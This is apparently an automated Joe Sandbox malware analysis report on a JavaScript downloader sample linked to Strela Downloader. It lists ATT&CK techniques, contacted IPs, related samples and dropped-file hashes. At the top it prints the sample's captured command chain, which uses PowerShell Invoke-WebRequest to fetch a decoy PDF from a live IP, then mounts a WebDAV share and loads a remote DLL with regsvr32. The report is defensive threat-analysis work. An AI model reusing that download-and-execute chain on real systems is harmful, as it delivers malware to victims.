Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5250250172915227960.js	5%	Virustotal		Browse
5250250172915227960.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.2175842620.0000022CBD930000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3407194937.0000022CBDA90000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.2189189274.000001F661C27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0	net.exe, 00000007.00000002.2189189274.000001F661C27000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2188492143.000001F661C27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000007.00000002.2189047895.000001F661BF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588287
Start date and time:	2025-01-10 23:32:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5250250172915227960.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.149.20.212, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:33:07	API Interceptor	25x Sleep call for process: powershell.exe modified
17:33:11	API Interceptor	2x Sleep call for process: svchost.exe modified
17:33:12	API Interceptor	1x Sleep call for process: net.exe modified
17:33:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263036562472175
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0B:9JZj5MiKNnNhoxuk
MD5:	C41890A913FD841D24FE678EA08D9492
SHA1:	C37E05FC2D4F3D5A76349B5BF4377DF981B17891
SHA-256:	44FDAEE2138CD13E1B8EE281B07A9542C7E78ACC8F1E0CD54BB63C314634993E
SHA-512:	595184F8558B3669990D361FFCEA17864F09A9A350F3377A81BA9B3AB7E779D612452F0377215F269AC8487FCD23D365A8A32C6C52B11C802555B69965B18B3D
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x430d0845, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555501549519846
Encrypted:	false
SSDEEP:	1536:+3wSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kA:1azaSvGJzYj2UlmOlOL
MD5:	91B168E43730C7134C269B859CD828BC
SHA1:	732933E0B7514E5C2FE1CF3B8E1E92E6C97DC331
SHA-256:	740B9953423B3609BC7C20B43D5D1C658EF19BF06144DD854861D4D58CBF6362
SHA-512:	4C74D580230CA16F781ED230DABF93EB0C14F67FA7DAE544F6AA0556DE8684CB8F469E8CA57D3BEA5CA331C6A6B8AC16DADFB0168DC178558F436ECC48850914
Malicious:	false
Preview:	C..E... .......7.......X\...;...{......................0.e......!...{?..!...}W.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................9.+..!...}W.................u..E.!...}W..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07782877070504583
Encrypted:	false
SSDEEP:	3:IGmtyYeeavUtKg3NaAPaU1lrqVy//lAlluxmO+l/SNxOf:IGmtyz/UtTNDPaUDqY//lAgmOH
MD5:	F68DC7DBF64D93AD574A05CC6CD1CAA2
SHA1:	C76D505AA8B02851BA475C18CCF2089641640FD3
SHA-256:	9819D11B7BD76393FE6F404EB714301AF54E1C0F8611AA802423DA28FFD53D40
SHA-512:	0669E5E0CEACF87913FE1B6D18941100EC05BF0A4BFD9656DB87A7A61A61D89BCB36103350DAE02CDE5EDB5E9C066BAE4861D6755C5D6E0168343ABB55FE6111
Malicious:	false
Preview:	..rc.....................................;...{...!...}W..!...{?..........!...{?..!...{?..g...!...{?.................u..E.!...}W.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.173341405639445
Encrypted:	false
SSDEEP:	6:iO4k1Qyq2PN72nKuAl9OmbnIFUtSkI11ZmwskIjRkwON72nKuAl9OmbjLJ:7NfvVaHAahFUtHI11/5IF5OaHAaSJ
MD5:	8AD8B1BD42329B75A23AAEAF52ED0906
SHA1:	265F6159A41D642F2BEF01B29416F6C97DBF1704
SHA-256:	172E0CA936615D625893AE542709881808E7A2361AB6D482BAC84592100C0DA0
SHA-512:	88B8E16596827E75D3D20A3A7BFD576A66947A54C7A5B054E031EA4D2542210835B43CB6C67072AEAB15D4C627874C6C1CEF61CE3ED4FABA2A513021DF7677F9
Malicious:	false
Preview:	2025/01/10-17:33:11.827 990 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:33:11.829 990 Recovering log #3.2025/01/10-17:33:11.829 990 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.173341405639445
Encrypted:	false
SSDEEP:	6:iO4k1Qyq2PN72nKuAl9OmbnIFUtSkI11ZmwskIjRkwON72nKuAl9OmbjLJ:7NfvVaHAahFUtHI11/5IF5OaHAaSJ
MD5:	8AD8B1BD42329B75A23AAEAF52ED0906
SHA1:	265F6159A41D642F2BEF01B29416F6C97DBF1704
SHA-256:	172E0CA936615D625893AE542709881808E7A2361AB6D482BAC84592100C0DA0
SHA-512:	88B8E16596827E75D3D20A3A7BFD576A66947A54C7A5B054E031EA4D2542210835B43CB6C67072AEAB15D4C627874C6C1CEF61CE3ED4FABA2A513021DF7677F9
Malicious:	false
Preview:	2025/01/10-17:33:11.827 990 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:33:11.829 990 Recovering log #3.2025/01/10-17:33:11.829 990 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.199593938494721
Encrypted:	false
SSDEEP:	6:iO4krq2PN72nKuAl9Ombzo2jMGIFUtSkUXZmwskUFkwON72nKuAl9Ombzo2jMmLJ:7NrvVaHAa8uFUtHw/545OaHAa8RJ
MD5:	944BD332D6E38ADDCDEE4599E2F0341B
SHA1:	80C861185251D92CB9FEFDC16EECA20B3746EAD5
SHA-256:	2292FA2F920CFA16FCCE678DB263383D77ADEC0C78EF5866E260CB69DBA31507
SHA-512:	17431FCC4F6D4BDA2748F904E433889167B767C56BC69031516E0A7D0275A276FFBAC831B2870EF1D9253DFEBC395CFB6B8830B0D2878615450B5931CAE5E03D
Malicious:	false
Preview:	2025/01/10-17:33:11.894 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:33:11.896 1af4 Recovering log #3.2025/01/10-17:33:11.896 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.199593938494721
Encrypted:	false
SSDEEP:	6:iO4krq2PN72nKuAl9Ombzo2jMGIFUtSkUXZmwskUFkwON72nKuAl9Ombzo2jMmLJ:7NrvVaHAa8uFUtHw/545OaHAa8RJ
MD5:	944BD332D6E38ADDCDEE4599E2F0341B
SHA1:	80C861185251D92CB9FEFDC16EECA20B3746EAD5
SHA-256:	2292FA2F920CFA16FCCE678DB263383D77ADEC0C78EF5866E260CB69DBA31507
SHA-512:	17431FCC4F6D4BDA2748F904E433889167B767C56BC69031516E0A7D0275A276FFBAC831B2870EF1D9253DFEBC395CFB6B8830B0D2878615450B5931CAE5E03D
Malicious:	false
Preview:	2025/01/10-17:33:11.894 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:33:11.896 1af4 Recovering log #3.2025/01/10-17:33:11.896 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\200ca580-6501-4053-862b-00ba4eb0a3be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969394418070332
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOpxsBdOg2HQ2caq3QYiubcP7E4T3y:Y2sRds7idMHQJ3QYhbA7nby
MD5:	36AF7AFAEBE3AE290294D3977527A613
SHA1:	418ED8FE6C48978604610FBE680C13190A165B11
SHA-256:	9A6A4823D15A84728657C5E019D2CCFB2D151A3519E736C8A58ED46644C48211
SHA-512:	6696554DD33E5997D45B88A54DD2115EF2A293BFC72A61E7C2CD83A8E0C60AD3D7F3D10102494B3D4A1237CEEB42183D5AF1EBD97815765B683DD7E7206BBD62
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108403624608","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":203927},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969394418070332
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOpxsBdOg2HQ2caq3QYiubcP7E4T3y:Y2sRds7idMHQJ3QYhbA7nby
MD5:	36AF7AFAEBE3AE290294D3977527A613
SHA1:	418ED8FE6C48978604610FBE680C13190A165B11
SHA-256:	9A6A4823D15A84728657C5E019D2CCFB2D151A3519E736C8A58ED46644C48211
SHA-512:	6696554DD33E5997D45B88A54DD2115EF2A293BFC72A61E7C2CD83A8E0C60AD3D7F3D10102494B3D4A1237CEEB42183D5AF1EBD97815765B683DD7E7206BBD62
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108403624608","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":203927},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252872590429611
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Osrm:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh6
MD5:	91CBCCEA3A9ED16723DF7C3B0C71AB88
SHA1:	A8D903A810E7B4A96101A53EE1F3F334D38EC819
SHA-256:	7BF3B5B7C976BA0F9484CA1DFE909BD72EA08BC41819BCB1D84FAADEB8A26259
SHA-512:	985E3264AA877E818C7EFB7FC96DBA89A85AA862005539862E77A3E19D14CD03678C53A84D01105381DBD6BA91A080BDFC0477A0EB7446313568FB8121469569
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.196982603166366
Encrypted:	false
SSDEEP:	6:iO4k7Iq2PN72nKuAl9OmbzNMxIFUtSkKdZmwskRDzkwON72nKuAl9OmbzNMFLJ:7NUvVaHAa8jFUtHs/5Rv5OaHAa84J
MD5:	F62E8ABA065D2425533A5D47D3716D34
SHA1:	EA16F1291BFD60509438381E7FB1D98A5336B7FB
SHA-256:	D1C7BBFFE7D93D129652231FA8E19FAFAFFAC5CB640AF6D49D9E101913DACD5D
SHA-512:	2531EF6B42661698C9E893B75434ABC4BB09CE3EBBD40B6373321D2B15A83A72AFC9F0183437B85032433526E95CB0F290BAB8B715577881FC15E3B11F5E8186
Malicious:	false
Preview:	2025/01/10-17:33:11.966 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:33:11.981 3b4 Recovering log #3.2025/01/10-17:33:11.982 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.196982603166366
Encrypted:	false
SSDEEP:	6:iO4k7Iq2PN72nKuAl9OmbzNMxIFUtSkKdZmwskRDzkwON72nKuAl9OmbzNMFLJ:7NUvVaHAa8jFUtHs/5Rv5OaHAa84J
MD5:	F62E8ABA065D2425533A5D47D3716D34
SHA1:	EA16F1291BFD60509438381E7FB1D98A5336B7FB
SHA-256:	D1C7BBFFE7D93D129652231FA8E19FAFAFFAC5CB640AF6D49D9E101913DACD5D
SHA-512:	2531EF6B42661698C9E893B75434ABC4BB09CE3EBBD40B6373321D2B15A83A72AFC9F0183437B85032433526E95CB0F290BAB8B715577881FC15E3B11F5E8186
Malicious:	false
Preview:	2025/01/10-17:33:11.966 3b4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:33:11.981 3b4 Recovering log #3.2025/01/10-17:33:11.982 3b4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444701414915482
Encrypted:	false
SSDEEP:	384:ye6ci5tIiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mvs3OazzU89UTTgUL
MD5:	789196AECC84211F1B1975A01561DFD5
SHA1:	61F665CEACA2973763E5E33A6CA8FCC1B9144FBB
SHA-256:	CB5319D15158714EFA6A0BA9551CD038A474C399160DC79FBEA7D62440EBCF32
SHA-512:	275EDE6EAE1E178175B997DA84DF70782F5EFC703A03BD18238644ADF9EEC24F2CB30E1E6E13E33933A91295C9A58CE713418AA203E4B897A39F2A232A9BE331
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7648482097324796
Encrypted:	false
SSDEEP:	48:7MDJioyVQioyDoy1C7oy16oy1OKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OX:7gJuQJ5XjBiTb9IVXEBodRBkI
MD5:	C8185B8DF16F2C947EF06A52C3D2D82F
SHA1:	2EA85E25B838C21E116D67F6F385376B9CF1140B
SHA-256:	7525FFEF5ECD4982AA2A55DAFFFD2C2441AA973DE8497DA7A0E38213CC717E19
SHA-512:	3043E5B182D99E641CA20DF129ACD9D57A4BE921DA813729E185B4013C1C90224C2DB3DB2E5AFCB85760FC71166E2675FEF5B00C3A0C2974A6F7B0B8AF29831C
Malicious:	false
Preview:	.... .c.....T.+................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
